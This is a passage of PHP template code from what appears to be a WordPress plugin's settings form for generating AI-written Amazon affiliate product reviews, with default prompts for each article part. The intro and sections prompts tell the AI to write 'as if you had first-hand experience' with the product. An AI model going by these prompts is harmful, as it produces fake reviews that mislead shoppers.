%%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. If you have access to the Amazon API, you can set it up in the plugin and get access to the following advanced shortcodes also: %%product_score%%, %%product_edition%%, %%product_language%%, %%product_pages_count%%, %%product_publication_date%%, %%product_contributors%%, %%product_manufacturer%%, %%product_binding%%, %%product_product_group%%, %%product_rating%%, %%product_ean%%, %%product_part_no%%, %%product_model%%, %%product_warranty%%, %%product_color%%, %%product_is_adult%%, %%product_dimensions%%, %%product_date%%, %%product_size%%, %%product_unit_count%%", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Title Prompt:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="title_prompt" id="title_prompt4" placeholder="Enter your title prompts, one per line" class="valuesai4 cr_width_full">Write a title for a product review blog post of the following product: "%%product_title%%", in %%language%% language. Style: %%writing_style%%. Tone: %%writing_tone%%. Point of View: %%point_of_view%%. The title must be between 40 and 60 characters. The description of the product is: "%%product_description%%".</textarea> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Model to be used for the title generator.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Model For Title Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="topic_title_model4" name="topic_title_model" class="hideAssistant4 valuesai4 cr_width_full"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Prompt to be used for the intro of the article. You can use the following shortcodes: %%product_title%%, %%product_description%%, %%aff_url%%, %%product_author%%, %%offer_price%%, %%product_price%%, %%product_list_price%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%, %%product_reviews%%, %%price_numeric%%, %%price_currency%%, %%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, %%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. If you have access to the Amazon API, you can set it up in the plugin and get access to the following advanced shortcodes also: %%product_score%%, %%product_edition%%, %%product_language%%, %%product_pages_count%%, %%product_publication_date%%, %%product_contributors%%, %%product_manufacturer%%, %%product_binding%%, %%product_product_group%%, %%product_rating%%, %%product_ean%%, %%product_part_no%%, %%product_model%%, %%product_warranty%%, %%product_color%%, %%product_is_adult%%, %%product_dimensions%%, %%product_date%%, %%product_size%%, %%product_unit_count%%", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Article Intro Prompt:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="intro_prompt" id="intro_prompt4" placeholder="Enter your intro prompts, one per line" class="valuesai4 cr_width_full">Write an introduction for a product review blog post of the following product: "%%product_title%%". The post is reviewing the product "%%product_title%%", in %%language%% language. Style: %%writing_style%%. Tone: %%writing_tone%%. Point of View: %%point_of_view%%. Write as if you had first-hand experience with the product you are describing. The description of the product is: "%%product_description%%".</textarea> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Model to be used for the intro generator.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Model For Intro Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="topic_intro_model4" name="topic_intro_model" class="hideAssistant4 valuesai4 cr_width_full"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Prompt to be used for the main Sections of the article. These will be set also as headings in the article. You can use the following shortcodes: %%product_title%%, %%product_description%%, %%aff_url%%, %%product_author%%, %%offer_price%%, %%product_price%%, %%product_list_price%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%, %%product_reviews%%, %%price_numeric%%, %%price_currency%%, %%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, %%sections_count%%, %%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. If you have access to the Amazon API, you can set it up in the plugin and get access to the following advanced shortcodes also: %%product_score%%, %%product_edition%%, %%product_language%%, %%product_pages_count%%, %%product_publication_date%%, %%product_contributors%%, %%product_manufacturer%%, %%product_binding%%, %%product_product_group%%, %%product_rating%%, %%product_ean%%, %%product_part_no%%, %%product_model%%, %%product_warranty%%, %%product_color%%, %%product_is_adult%%, %%product_dimensions%%, %%product_date%%, %%product_size%%, %%product_unit_count%%", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Article Sections Prompt:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="sections_prompt" id="sections_prompt4" placeholder="Enter your sections prompts, one per line" class="valuesai4 cr_width_full">Write %%sections_count%% consecutive headings for a product review article of the "%%product_title%%" product, that starts with an overview, highlights specific features and aspects of the product, provides detailed insights and specific recommendations. The headings should be written in %%language%%, following a %%writing_style%% style and a %%writing_tone%% tone. Point of view: %%point_of_view%%. Don't add numbers to the headings, hyphens or any types of quotes. Write as if you had first-hand experience with the product you are describing. Return only the headings list, nothing else.</textarea> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Model to be used for the sections generator.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Model For Sections Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="topic_sections_model4" name="topic_sections_model" class="hideAssistant4 valuesai4 cr_width_full"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Prompt to be used for the Content of the article, which will be applied to each section heading generated by the plugin (or entered manually) or to the entire content (depending how you select using the 'Use the Above Content Prompt To Create The Entire Article' checkbox). You can use the following shortcodes: %current_section%%, %%product_title%%, %%product_description%%, %%aff_url%%, %%product_author%%, %%offer_price%%, %%product_price%%, %%product_list_price%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%, %%product_reviews%%, %%price_numeric%%, %%price_currency%%, %%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, %%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. If you have access to the Amazon API, you can set it up in the plugin and get access to the following advanced shortcodes also: %%product_score%%, %%product_edition%%, %%product_language%%, %%product_pages_count%%, %%product_publication_date%%, %%product_contributors%%, %%product_manufacturer%%, %%product_binding%%, %%product_product_group%%, %%product_rating%%, %%product_ean%%, %%product_part_no%%, %%product_model%%, %%product_warranty%%, %%product_color%%, %%product_is_adult%%, %%product_dimensions%%, %%product_date%%, %%product_size%%, %%product_unit_count%%", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Content Prompt:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="3" cols="70" name="content_prompt" id="content_prompt4" placeholder="Enter your content prompt" class="valuesai4 cr_width_full">Write the content of a product review post, for the following section heading: "%%current_section%%". The post is reviewing the product "%%product_title%%" in %%language%%. Don't repeat the product title in the created content, also don't be repetitive in general. Don't add an intro or outro. Write %%paragraphs_per_section%% paragraphs in the section. Use HTML for formatting, include unnumbered lists and bold. When applicable, add also HTML tables with WordPress styling (you can use WordPress table classes). If added, table data must be relevant, creative, short and simple. Writing Style: %%writing_style%%. Tone: %%writing_tone%%. Point Of View: %%point_of_view%%. Extract content from the following product description: "%%product_description%%".</textarea> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Model to be used for the content generator.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Model For Content Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="topic_content_model4" name="topic_content_model" class="hideAssistant4 valuesai4 cr_width_full"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Prompt to be used for the Customer Reviews Analysis section of the article. You can use the following shortcodes: %%product_title%%, %%product_description%%, %%aff_url%%, %%product_author%%, %%offer_price%%, %%product_price%%, %%product_list_price%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%, %%product_reviews%%, %%price_numeric%%, %%price_currency%%, %%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, %%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. If you have access to the Amazon API, you can set it up in the plugin and get access to the following advanced shortcodes also: %%product_score%%, %%product_edition%%, %%product_language%%, %%product_pages_count%%, %%product_publication_date%%, %%product_contributors%%, %%product_manufacturer%%, %%product_binding%%, %%product_product_group%%, %%product_rating%%, %%product_ean%%, %%product_part_no%%, %%product_model%%, %%product_warranty%%, %%product_color%%, %%product_is_adult%%, %%product_dimensions%%, %%product_date%%, %%product_size%%, %%product_unit_count%%", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Article Customer Reviews Analysis Prompt:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="reviews_prompt" id="reviews_prompt4" placeholder="Enter your Customer Reviews Analysis prompts, one per line" class="valuesai4 cr_width_full">Write the content of a "Customer Reviews Analysis" section for a product review blog post for the following product: "%%product_title%%". The title of the blog post is: "%%post_title%%", in %%language%%. Style: %%writing_style%%. Tone: %%writing_tone%%. Point Of View: %%point_of_view%%. Use HTML for formatting. When applicable, add also HTML tables with WordPress styling (you can use WordPress table classes). If added, table data must be relevant, creative, short and simple. List of customer reviews: "%%product_reviews%%". </textarea> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Model to be used for the Customer Reviews Analysis generator.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Model For Customer Reviews Analysis Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="topic_reviews_model4" name="topic_reviews_model" class="hideAssistant4 valuesai4 cr_width_full"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Prompt to be used for the Pros & Cons section of the article. You can use the following shortcodes: %%product_title%%, %%product_description%%, %%aff_url%%, %%product_author%%, %%offer_price%%, %%product_price%%, %%product_list_price%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%, %%product_reviews%%, %%price_numeric%%, %%price_currency%%, %%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, %%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. If you have access to the Amazon API, you can set it up in the plugin and get access to the following advanced shortcodes also: %%product_score%%, %%product_edition%%, %%product_language%%, %%product_pages_count%%, %%product_publication_date%%, %%product_contributors%%, %%product_manufacturer%%, %%product_binding%%, %%product_product_group%%, %%product_rating%%, %%product_ean%%, %%product_part_no%%, %%product_model%%, %%product_warranty%%, %%product_color%%, %%product_is_adult%%, %%product_dimensions%%, %%product_date%%, %%product_size%%, %%product_unit_count%%", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Article Pros & Cons Prompt:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="proscons_prompt" id="proscons_prompt4" placeholder="Enter your Pros & Cons prompts, one per line" class="valuesai4 cr_width_full">Write the content of a "Pros & Cons" section for a product review blog post for the following product: "%%product_title%%". The title of the blog post is: "%%post_title%%", in %%language%%. Style: %%writing_style%%. Tone: %%writing_tone%%. Point Of View: %%point_of_view%%.Use HTML for formatting. When applicable, add also HTML tables with WordPress styling (you can use WordPress table classes). If added, table data must be relevant, creative, short and simple. Product description: "%%product_description%%". </textarea> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Model to be used for the Pros & Cons generator.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Model For Pros & Cons Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="topic_proscons_model4" name="topic_proscons_model" class="hideAssistant4 valuesai4 cr_width_full"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Prompt to be used for the Q&A of the article. You can use the following shortcodes: %%product_title%%, %%product_description%%, %%aff_url%%, %%product_author%%, %%offer_price%%, %%product_price%%, %%product_list_price%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%, %%product_reviews%%, %%price_numeric%%, %%price_currency%%, %%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, %%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. If you have access to the Amazon API, you can set it up in the plugin and get access to the following advanced shortcodes also: %%product_score%%, %%product_edition%%, %%product_language%%, %%product_pages_count%%, %%product_publication_date%%, %%product_contributors%%, %%product_manufacturer%%, %%product_binding%%, %%product_product_group%%, %%product_rating%%, %%product_ean%%, %%product_part_no%%, %%product_model%%, %%product_warranty%%, %%product_color%%, %%product_is_adult%%, %%product_dimensions%%, %%product_date%%, %%product_size%%, %%product_unit_count%%", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Article Q&A Prompt:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="qa_prompt" id="qa_prompt4" placeholder="Enter your Q&A prompts, one per line" class="valuesai4 cr_width_full">Write the content of a Q&A section for a product review blog post for the following product: "%%product_title%%". The title of the blog post is: "%%post_title%%", in %%language%%. Style: %%writing_style%%. Tone: %%writing_tone%%. Point Of View: %%point_of_view%%. Product description: "%%product_description%%".</textarea> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Model to be used for the Q&A generator.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Model For Q&A Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="topic_qa_model4" name="topic_qa_model" class="hideAssistant4 valuesai4 cr_width_full"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Prompt to be used for the outro of the article. You can use the following shortcodes: %%product_title%%, %%product_description%%, %%aff_url%%, %%product_author%%, %%offer_price%%, %%product_price%%, %%product_list_price%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%, %%product_reviews%%, %%price_numeric%%, %%price_currency%%, %%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, %%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. If you have access to the Amazon API, you can set it up in the plugin and get access to the following advanced shortcodes also: %%product_score%%, %%product_edition%%, %%product_language%%, %%product_pages_count%%, %%product_publication_date%%, %%product_contributors%%, %%product_manufacturer%%, %%product_binding%%, %%product_product_group%%, %%product_rating%%, %%product_ean%%, %%product_part_no%%, %%product_model%%, %%product_warranty%%, %%product_color%%, %%product_is_adult%%, %%product_dimensions%%, %%product_date%%, %%product_size%%, %%product_unit_count%%", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Article Outro Prompt:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="outro_prompt" id="outro_prompt4" placeholder="Enter your outro prompts, one per line" class="valuesai4 cr_width_full">Write an outro for a product review blog post, for the product: "%%product_title%%". The post has the following title: "%%post_title%%", in %%language%%. Style: %%writing_style%%. Tone: %%writing_tone%%. Point Of View: %%point_of_view%%. Product description: "%%product_description%%". Add also an engaging final call to action link, in a clickable HTML format (don't use markdown language), leading to the link of the product: "%%aff_url%%".</textarea> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Model to be used for the outro generator.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Model For Outro Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="topic_outro_model4" name="topic_outro_model" class="hideAssistant4 valuesai4 cr_width_full"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Prompt to be used for the excerpt of the article. You can use the following shortcodes: %%product_title%%, %%product_description%%, %%aff_url%%, %%product_author%%, %%offer_price%%, %%product_price%%, %%product_list_price%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%, %%product_reviews%%, %%price_numeric%%, %%price_currency%%, %%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, %%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. If you have access to the Amazon API, you can set it up in the plugin and get access to the following advanced shortcodes also: %%product_score%%, %%product_edition%%, %%product_language%%, %%product_pages_count%%, %%product_publication_date%%, %%product_contributors%%, %%product_manufacturer%%, %%product_binding%%, %%product_product_group%%, %%product_rating%%, %%product_ean%%, %%product_part_no%%, %%product_model%%, %%product_warranty%%, %%product_color%%, %%product_is_adult%%, %%product_dimensions%%, %%product_date%%, %%product_size%%, %%product_unit_count%%", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Excerpt Prompt:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="excerpt_prompt" id="excerpt_prompt4" placeholder="Enter your excerpt prompts, one per line" class="valuesai4 cr_width_full">Write a short excerpt for a product review blog post, for the product: "%%product_title%%". The post has the following title: "%%post_title%%", in %%language%%. Style: %%writing_style%%. Tone: %%writing_tone%%. Point Of View: %%point_of_view%%. The excerpt must be between 100 and 150 words. </textarea> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Model to be used for the excerpt generator.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Model For Excerpt Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="topic_excerpt_model4" name="topic_excerpt_model" class="hideAssistant4 valuesai4 cr_width_full"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </td> </tr> <tr><td colspan="2"> <h4><?php echo esc_html__("Advanced Prompting Options", 'aiomatic-automatic-ai-content-writer');?>:</h4> </td></tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Run regex on prompts. To disable this feature, leave this field blank. No Regex separators are required here. You can add multiple Regex expressions, each on a different line.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Run Regex On Prompts:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="1" name="strip_by_regex_prompts" id="strip_by_regex_prompts4" placeholder="regex expression" class="valuesai4 cr_width_full"></textarea> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Replace the above regex matches with this regex expression. If you want to strip matched content, leave this field blank. No Regex separators are required here. You can add multiple replacement expressions, each on a different line.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Replace Matches From Regex (Prompts):", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="1" name="replace_regex_prompts" id="replace_regex_prompts4" placeholder="regex replacement" class="valuesai4 cr_width_full"></textarea> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select on which prompts do you want to run the above Regex. Possible values are (or any of their combinations): title, intro, sections, content, reviews, proscons, qa, outro, excerpt", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Run Above Regex On Prompts:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input id="run_regex_on4" name="run_regex_on" type="text" list="run_regex_on_list5" class="valuesai4 coderevolution_gutenberg_input" value="content"/> <datalist id="run_regex_on_list5"> <option value="title">title</option> <option value="intro">intro</option> <option value="sections">sections</option> <option value="content">content</option> <option value="qa">Q&A</option> <option value="outro">outro</option> <option value="excerpt">excerpt</option> </datalist> </td> </tr> <tr><td colspan="2"> <h3><?php echo esc_html__("Global Prompt Options", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("This will be prepended to each prompt sent by the plugin to the AI writer. You can use the following shortcodes: %%topic%%, %%language%%, %%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%title%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Prepend Text To All Textual AI Prompts:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="global_prepend" id="global_prepend4" placeholder="Global prompt prepend text" class="valuesai4 cr_width_full"></textarea> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("This will be appended to each prompt sent by the plugin to the AI writer. You can use the following shortcodes: %%topic%%, %%language%%, %%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%title%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Append Text To All Textual AI Prompts:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="global_append" id="global_append4" placeholder="Global prompt append text" class="valuesai4 cr_width_full"></textarea> </td> </tr> <tr><td colspan="2"> <h3><?php echo esc_html__("Automatic Linking Options", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the linking method to use in posts.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Automatic Linking Type:", 